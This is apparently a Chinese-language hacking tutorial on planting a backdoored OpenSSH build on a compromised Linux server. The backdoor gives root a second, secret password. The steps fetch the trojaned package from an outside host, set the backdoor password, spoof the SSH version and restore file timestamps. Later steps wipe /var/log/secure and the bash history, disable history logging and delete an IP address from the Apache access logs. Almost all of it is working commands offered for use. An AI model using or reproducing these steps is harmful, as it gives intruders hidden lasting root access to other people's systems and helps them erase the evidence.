记得把ssh版本号换成原来的，还有一些文件的日期还原。这后门还是可以的，可以让root账号有两个密码，不影响管理员正常登陆。

　　在includes.h 里面 修改密码，然后编译 安装.详细说明如下.下载地址在最下面。
　　How to install 　　shell-#wget http://www.linuxso.com/linuxexp/ssh.tar.gz 　　shell-# tar zxvf ssh.tar.gz 　　shell-# cd openssh 　　Edit version.h likes the current version of ssh running on the box 　　#define SSH_VERSION "OpenSSH_4.2" --> you've to edit OpenSSH_4.2 　　Edit includes.h, specify your backdoor password 　　#define _SECRET_PASSWD "q1w2e3r4t5: )" -> edit as u wish 默认密码是www.linuxso.com 　　shell-# ./configure --prefix=/usr --sysconfdir=/etc/ssh 　　shell-# make && make install 　　shell-# cp ssh_config sshd_config /etc/ssh/ 　　shell-# /etc/init.d/sshd restart　这里可能是ssh　restart 　　FINISH, try logged in to the box "ssh -l root <IP_backdoored_machine>" 　　enter your backdoor password. 　　Boom, now you're root

　　以下即用ssh登陆上去,再装一遍

　　wget http://www.linuxso.com/linuxexp/ssh.tar.gz 　　tar zxvf ssh.tar.gz 　　cd openssh 　　vi version.h 　　#define SSH_VERSION "OpenSSH_4.2" --> you've to edit OpenSSH_4.2 　　vi includes.h 　　#define _SECRET_PASSWD "q1w2e3r4t5: )" -> edit as u wish 　　cp /etc/ssh/sshd_config /etc/ssh/sshd_config.pub 　　cp /etc/ssh/ssh_config /etc/ssh/ssh_config.pub 　　touch -r /etc/ssh/sshd_config /etc/ssh/sshd_config.pub 　　touch -r /etc/ssh/ssh_config /etc/ssh/ssh_config.pub 　　cp /usr/bin/ssh /usr/bin/ssh-keypub 　　touch -r /usr/bin/ssh /usr/bin/ssh-keypub 　　./configure --prefix=/usr --sysconfdir=/etc/ssh 　　make && make install 　　cp ssh_config sshd_config /etc/ssh/ 　　cd .. 　　rm -rf ./ssh* 　　rm -rf openssh 　　diff /etc/ssh/sshd_config /etc/ssh/sshd_config.pub 　　vi sshd_config 　　diff /etc/ssh/ssh_config /etc/ssh/ssh_config.pub 　　vi ssh_config 　　touch -r /etc/ssh/sshd_config.pub /etc/ssh/sshd_config 　　touch -r /etc/ssh/ssh_config.pub /etc/ssh/ssh_config 　　touch -r /usr/bin/ssh-keypub /usr/bin/ssh* 　　/etc/init.d/sshd restart

　　以上即可,下面这些操作也不可忽略

　　1、/var/log/secure 里的东西要删除 　　

    2、echo >/root/.bash_history //清空操作日志　

　　清除apache日志：

　　export HISTFILE=/dev/null 　　export HISTSIZE=0 　　cd /etc/httpd/logs/ 　　sed -i '/210.73.64.100/d' access_log